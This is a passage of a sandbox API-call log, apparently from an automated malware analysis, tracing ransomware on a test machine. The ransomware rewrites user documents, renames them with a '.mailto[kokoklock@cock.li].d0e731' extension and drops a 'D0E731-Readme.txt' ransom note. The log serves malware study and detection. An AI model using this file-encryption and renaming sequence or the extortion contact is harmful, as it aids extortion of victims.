dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.647] ReadFile (in: hFile=0x42c, lpBuffer=0x3482218, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x29fbf748, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesRead=0x29fbf748*=0x4096, lpOverlapped=0x0) returned 1 [0083.647] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.647] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd358 [0083.647] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x347f940 [0083.647] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d320 [0083.647] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d320) returned 1 [0083.648] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348d230 [0083.648] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d320 [0083.648] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d5c8 [0083.648] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d5c8) returned 1 [0083.648] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347f940) returned 1 [0083.648] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd358) returned 1 [0083.648] WriteFile (in: hFile=0x42c, lpBuffer=0x348d230*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x29fbf748, lpOverlapped=0x0 | out: lpBuffer=0x348d230*, lpNumberOfBytesWritten=0x29fbf748*=0x4096, lpOverlapped=0x0) returned 1 [0083.648] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348d230) returned 1 [0083.648] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x11622, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.648] WriteFile (in: hFile=0x42c, lpBuffer=0x342d320*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x29fbf780, lpOverlapped=0x0 | out: lpBuffer=0x342d320*, lpNumberOfBytesWritten=0x29fbf780*=0x20, lpOverlapped=0x0) returned 1 [0083.648] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d320) returned 1 [0083.648] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0083.648] WriteFile (in: hFile=0x42c, lpBuffer=0x342d2f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29fbf794, lpOverlapped=0x0 | out: lpBuffer=0x342d2f8*, lpNumberOfBytesWritten=0x29fbf794*=0x8, lpOverlapped=0x0) returned 1 [0083.648] WriteFile (in: hFile=0x42c, lpBuffer=0x29fbf7ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29fbf794, lpOverlapped=0x0 | out: lpBuffer=0x29fbf7ac*, lpNumberOfBytesWritten=0x29fbf794*=0x4, lpOverlapped=0x0) returned 1 [0083.649] WriteFile (in: hFile=0x42c, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29fbf794, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x29fbf794*=0x4, lpOverlapped=0x0) returned 1 [0083.649] WriteFile (in: hFile=0x42c, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x29fbf794, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x29fbf794*=0x6c, lpOverlapped=0x0) returned 1 [0083.649] WriteFile (in: hFile=0x42c, lpBuffer=0x342d578*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x29fbf794, lpOverlapped=0x0 | out: lpBuffer=0x342d578*, lpNumberOfBytesWritten=0x29fbf794*=0x20, lpOverlapped=0x0) returned 1 [0083.649] WriteFile (in: hFile=0x42c, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29fbf794, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x29fbf794*=0x4, lpOverlapped=0x0) returned 1 [0083.649] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d578) returned 1 [0083.649] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d528) returned 1 [0083.649] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d2f8) returned 1 [0083.649] CloseHandle (hObject=0x42c) returned 1 [0083.649] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe8) returned 0x348ae78 [0083.649] wcscpy (in: _Dest=0x348ae78, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\HWDuek.odt" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\HWDuek.odt") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\HWDuek.odt" [0083.649] wcscat (in: _Dest=0x348ae78, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\HWDuek.odt.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\HWDuek.odt.mailto[kokoklock@cock.li].d0e731" [0083.649] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\HWDuek.odt" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\iek-\\n1jh8g4oijpkjwnj\\hwduek.odt"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\HWDuek.odt.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\iek-\\n1jh8g4oijpkjwnj\\hwduek.odt.mailto[kokoklock@cock.li].d0e731")) returned 1 [0084.896] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\HWDuek.odt.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0084.896] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348ae78) returned 1 [0084.896] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\HWDuek.odt", dwFileAttributes=0x20) returned 0 [0084.896] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb6) returned 0x34314c0 [0084.896] wcscpy (in: _Dest=0x34314c0, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\" [0084.896] wcscat (in: _Dest=0x34314c0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\D0E731-Readme.txt" [0084.896] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\iek-\\n1jh8g4oijpkjwnj\\d0e731-readme.txt")) returned 0xffffffff [0084.897] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\iek-\\n1jh8g4oijpkjwnj\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c0 [0084.902] WriteFile (in: hFile=0x5c0, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0x29fbf790, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0x29fbf790*=0x481, lpOverlapped=0x0) returned 1 [0084.911] CloseHandle (hObject=0x5c0) returned 1 [0084.911] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34314c0) returned 1 [0084.912] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f05f0) returned 1 [0084.912] RtlExitUserThread (Status=0x1) Thread: id = 1191 os_tid = 0x394 [0083.650] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\PzkemsXFtROGT1vr6P7y.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\iek-\\n1jh8g4oijpkjwnj\\pzkemsxftrogt1vr6p7y.xlsx")) returned 0x20 [0083.650] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\PzkemsXFtROGT1vr6P7y.xlsx", dwFileAttributes=0x20) returned 1 [0083.651] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\PzkemsXFtROGT1vr6P7y.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\iek-\\n1jh8g4oijpkjwnj\\pzkemsxftrogt1vr6p7y.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9e8 [0083.651] GetFileSizeEx (in: hFile=0x9e8, lpFileSize=0x2a03fc00 | out: lpFileSize=0x2a03fc00*=100856) returned 1 [0083.651] SetFilePointerEx (in: hFile=0x9e8, liDistanceToMove=0x189f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.651] ReadFile (in: hFile=0x9e8, lpBuffer=0x2a03fbd4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2a03fbd0, lpOverlapped=0x0 | out: lpBuffer=0x2a03fbd4*, lpNumberOfBytesRead=0x2a03fbd0*=0x4, lpOverlapped=0x0) returned 1 [0083.652] SetFilePointerEx (in: hFile=0x9e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.652] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d618 [0083.652] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d578 [0083.652] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d438 [0083.652] NtQuerySystemTime (in: CurrentTime=0x2a03fbac | out: CurrentTime=0x2a03fbac*=132121176415391382) returned 0x0 [0083.652] RtlRandom (in: Seed=0x2a03fbb8 | out: Seed=0x2a03fbb8) returned 0x8677fbbf [0083.652] RtlRandom (in: Seed=0x2a03fbb8 | out: Seed=0x2a03fbb8) returned 0x1c744af0 [0083.652] RtlRandom (in: Seed=0x2a03fbb8 | out: Seed=0x2a03fbb8) returned 0x26a153eb [0083.652] RtlRandom (in: Seed=0x2a03fbb8 | out: Seed=0x2a03fbb8) returned 0x7acc585 [0083.652] RtlRandom (in: Seed=0x2a03fbb8 | out: Seed=0x2a03fbb8) returned 0x1047c0a2 [0083.652] RtlRandom (in: Seed=0x2a03fbb8 | out: Seed=0x2a03fbb8) returned 0xdc7b067e [0083.652] RtlRandom (in: Seed=0x2a03fbb8 | out: Seed=0x2a03fbb8) returned 0xf4da8cce [0083.652] RtlRandom (in: Seed=0x2a03fbb8 | out: Seed=0x2a03fbb8) returned 0x83b798d7 [0083.652] RtlRandom (in: Seed=0x2a03fbb8 | out: Seed=0x2a03fbb8) returned 0x82b3a72f [0083.652] RtlRandom (in: Seed=0x2a03fbb8 | out: Seed=0x2a03fbb8) returned 0xcfac9037 [0083.652] RtlRandom (in: Seed=0x2a03fbb8 | out: Seed=0x2a03fbb8) returned 0xadebacf7 [0083.652] RtlRandom (in: Seed=0x2a03fbb8 | out: Seed=0x2a03fbb8) returned 0x32d8f031 [0083.652] RtlRandom (in: Seed=0x2a03fbb8 | out: Seed=0x2a03fbb8) returned 0x10f3de44 [0083.652] RtlRandom (in: Seed=0x2a03fbb8 | out: Seed=0x2a03fbb8) returned 0xf905fd55 [0083.652] RtlRandom (in: Seed=0x2a03fbb8 | out: Seed=0x2a03fbb8) returned 0x79b3b6b [0083.652] RtlRandom (in: Seed=0x2a03fbb8 | out: Seed=0x2a03fbb8) returned 0xc16ce9b2 [0083.652] RtlRandom (in: Seed=0x2a03fbb8 | out: Seed=0x2a03fbb8) returned 0xf90df718 [0083.652] RtlRandom (in: Seed=0x2a03fbb8 | out: Seed=0x2a03fbb8) returned 0xb958ab25 [0083.652] RtlRandom (in: Seed=0x2a03fbb8 | out: Seed=0x2a03fbb8) returned 0xe98e51d7 [0083.652] RtlRandom (in: Seed=0x2a03fbb8 | out: Seed=0x2a03fbb8) returned 0xb8559e04 [0083.652] RtlRandom (in: Seed=0x2a03fbb8 | out: Seed=0x2a03fbb8) returned 0x2132669b [0083.653] RtlRandom (in: Seed=0x2a03fbb8 | out: Seed=0x2a03fbb8) returned 0xe112c8ae [0083.653] RtlRandom (in: Seed=0x2a03fbb8 | out: Seed=0x2a03fbb8) returned 0xdfe4f94a [0083.653] RtlRandom (in: Seed=0x2a03fbb8 | out: Seed=0x2a03fbb8) returned 0xd98b05f7 [0083.653] RtlRandom (in: Seed=0x2a03fbb8 | out: Seed=0x2a03fbb8) returned 0xe66cead1 [0083.653] RtlRandom (in: Seed=0x2a03fbb8 | out: Seed=0x2a03fbb8) returned 0xe579b98b [0083.653] RtlRandom (in: Seed=0x2a03fbb8 | out: Seed=0x2a03fbb8) returned 0x756fba12 [0083.653] RtlRandom (in: Seed=0x2a03fbb8 | out: Seed=0x2a03fbb8) returned 0xe6f8ffdd [0083.653] RtlRandom (in: Seed=0x2a03fbb8 | out: Seed=0x2a03fbb8) returned 0x84219110 [0083.653] RtlRandom (in: Seed=0x2a03fbb8 | out: Seed=0x2a03fbb8) returned 0xdb54c6b2 [0083.653] RtlRandom (in: Seed=0x2a03fbb8 | out: Seed=0x2a03fbb8) returned 0xb5a30900 [0083.653] RtlRandom (in: Seed=0x2a03fbb8 | out: Seed=0x2a03fbb8) returned 0xcf00229d [0083.664] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fdf0) returned 1 [0083.664] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d618) returned 1 [0083.664] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0083.664] SetFilePointerEx (in: hFile=0x9e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.664] ReadFile (in: hFile=0x9e8, lpBuffer=0x3482218, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x2a03fb84, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesRead=0x2a03fb84*=0x4096, lpOverlapped=0x0) returned 1 [0083.664] SetFilePointerEx (in: hFile=0x9e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.664] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd358 [0083.664] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x347f940 [0083.664] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d320 [0083.664] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d320) returned 1 [0083.664] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348d230 [0083.665] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d320 [0083.665] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d5c8 [0083.665] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d5c8) returned 1 [0083.665] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347f940) returned 1 [0083.665] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd358) returned 1 [0083.665] WriteFile (in: hFile=0x9e8, lpBuffer=0x348d230*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x2a03fb84, lpOverlapped=0x0 | out: lpBuffer=0x348d230*, lpNumberOfBytesWritten=0x2a03fb84*=0x4096, lpOverlapped=0x0) returned 1 [0083.665] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348d230) returned 1 [0083.665] SetFilePointerEx (in: hFile=0x9e8, liDistanceToMove=0x189f8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.665] WriteFile (in: hFile=0x9e8, lpBuffer=0x342d320*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2a03fbbc, lpOverlapped=0x0 | out: lpBuffer=0x342d320*, lpNumberOfBytesWritten=0x2a03fbbc*=0x20, lpOverlapped=0x0) returned 1 [0083.665] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d320) returned 1 [0083.665] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0083.665] WriteFile (in: hFile=0x9e8, lpBuffer=0x342d2f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2a03fbd0, lpOverlapped=0x0 | out: lpBuffer=0x342d2f8*, lpNumberOfBytesWritten=0x2a03fbd0*=0x8, lpOverlapped=0x0) returned 1 [0083.665] WriteFile (in: hFile=0x9e8, lpBuffer=0x2a03fbe8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2a03fbd0, lpOverlapped=0x0 | out: lpBuffer=0x2a03fbe8*, lpNumberOfBytesWritten=0x2a03fbd0*=0x4, lpOverlapped=0x0) returned 1 [0083.665] WriteFile (in: hFile=0x9e8, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2a03fbd0, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2a03fbd0*=0x4, lpOverlapped=0x0) returned 1 [0083.665] WriteFile (in: hFile=0x9e8, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2a03fbd0, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2a03fbd0*=0x6c, lpOverlapped=0x0) returned 1 [0083.666] WriteFile (in: hFile=0x9e8, lpBuffer=0x342d578*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2a03fbd0, lpOverlapped=0x0 | out: lpBuffer=0x342d578*, lpNumberOfBytesWritten=0x2a03fbd0*=0x20, lpOverlapped=0x0) returned 1 [0083.666] WriteFile (in: hFile=0x9e8, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2a03fbd0, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2a03fbd0*=0x4, lpOverlapped=0x0) returned 1 [0083.666] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d578) returned 1 [0083.666] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d528) returned 1 [0083.666] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d2f8) returned 1 [0083.666] CloseHandle (hObject=0x9e8) returned 1 [0083.666] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x106) returned 0x347d748 [0083.666] wcscpy (in: _Dest=0x347d748, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\PzkemsXFtROGT1vr6P7y.xlsx" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\PzkemsXFtROGT1vr6P7y.xlsx") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\PzkemsXFtROGT1vr6P7y.xlsx" [0083.666] wcscat (in: _Dest=0x347d748, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\PzkemsXFtROGT1vr6P7y.xlsx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\PzkemsXFtROGT1vr6P7y.xlsx.mailto[kokoklock@cock.li].d0e731" [0083.666] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\PzkemsXFtROGT1vr6P7y.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\iek-\\n1jh8g4oijpkjwnj\\pzkemsxftrogt1vr6p7y.xlsx"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\PzkemsXFtROGT1vr6P7y.xlsx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\iek-\\n1jh8g4oijpkjwnj\\pzkemsxftrogt1vr6p7y.xlsx.mailto[kokoklock@cock.li].d0e731")) returned 1 [0084.914] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\PzkemsXFtROGT1vr6P7y.xlsx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0084.914] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347d748) returned 1 [0084.914] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\PzkemsXFtROGT1vr6P7y.xlsx", dwFileAttributes=0x20) returned 0 [0084.914] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb6) returned 0x3430980 [0084.914] wcscpy (in: _Dest=0x3430980, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\" [0084.914] wcscat (in: _Dest=0x3430980, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\D0E731-Readme.txt" [0084.914] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\iek-\\n1jh8g4oijpkjwnj\\d0e731-readme.txt")) returned 0x20 [0084.914] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3430980) returned 1 [0084.914] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f69e8) returned 1 [0084.914] RtlExitUserThread (Status=0x1) Thread: id = 1192 os_tid = 0xe64 [0083.667] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\VgIqgvrv2ybjHhzDV.rtf" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\iek-\\n1jh8g4oijpkjwnj\\vgiqgvrv2ybjhhzdv.rtf")) returned 0x20 [0083.667] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\VgIqgvrv2ybjHhzDV.rtf", dwFileAttributes=0x20) returned 1 [0083.667] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\VgIqgvrv2ybjHhzDV.rtf" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\iek-\\n1jh8g4oijpkjwnj\\vgiqgvrv2ybjhhzdv.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x728 [0083.667] GetFileSizeEx (in: hFile=0x728, lpFileSize=0x2a0bf7f0 | out: lpFileSize=0x2a0bf7f0*=87346) returned 1 [0083.667] SetFilePointerEx (in: hFile=0x728, liDistanceToMove=0x1552e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.668] ReadFile (in: hFile=0x728, lpBuffer=0x2a0bf7c4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2a0bf7c0, lpOverlapped=0x0 | out: lpBuffer=0x2a0bf7c4*, lpNumberOfBytesRead=0x2a0bf7c0*=0x4, lpOverlapped=0x0) returned 1 [0083.668] SetFilePointerEx (in: hFile=0x728, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.668] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d618 [0083.668] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d578 [0083.668] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d460 [0083.668] NtQuerySystemTime (in: CurrentTime=0x2a0bf79c | out: CurrentTime=0x2a0bf79c*=132121176415548001) returned 0x0 [0083.668] RtlRandom (in: Seed=0x2a0bf7a8 | out: Seed=0x2a0bf7a8) returned 0xeefbe9e3 [0083.668] RtlRandom (in: Seed=0x2a0bf7a8 | out: Seed=0x2a0bf7a8) returned 0x7727fe3 [0083.668] RtlRandom (in: Seed=0x2a0bf7a8 | out: Seed=0x2a0bf7a8) returned 0x8a333150 [0083.669] RtlRandom (in: Seed=0x2a0bf7a8 | out: Seed=0x2a0bf7a8) returned 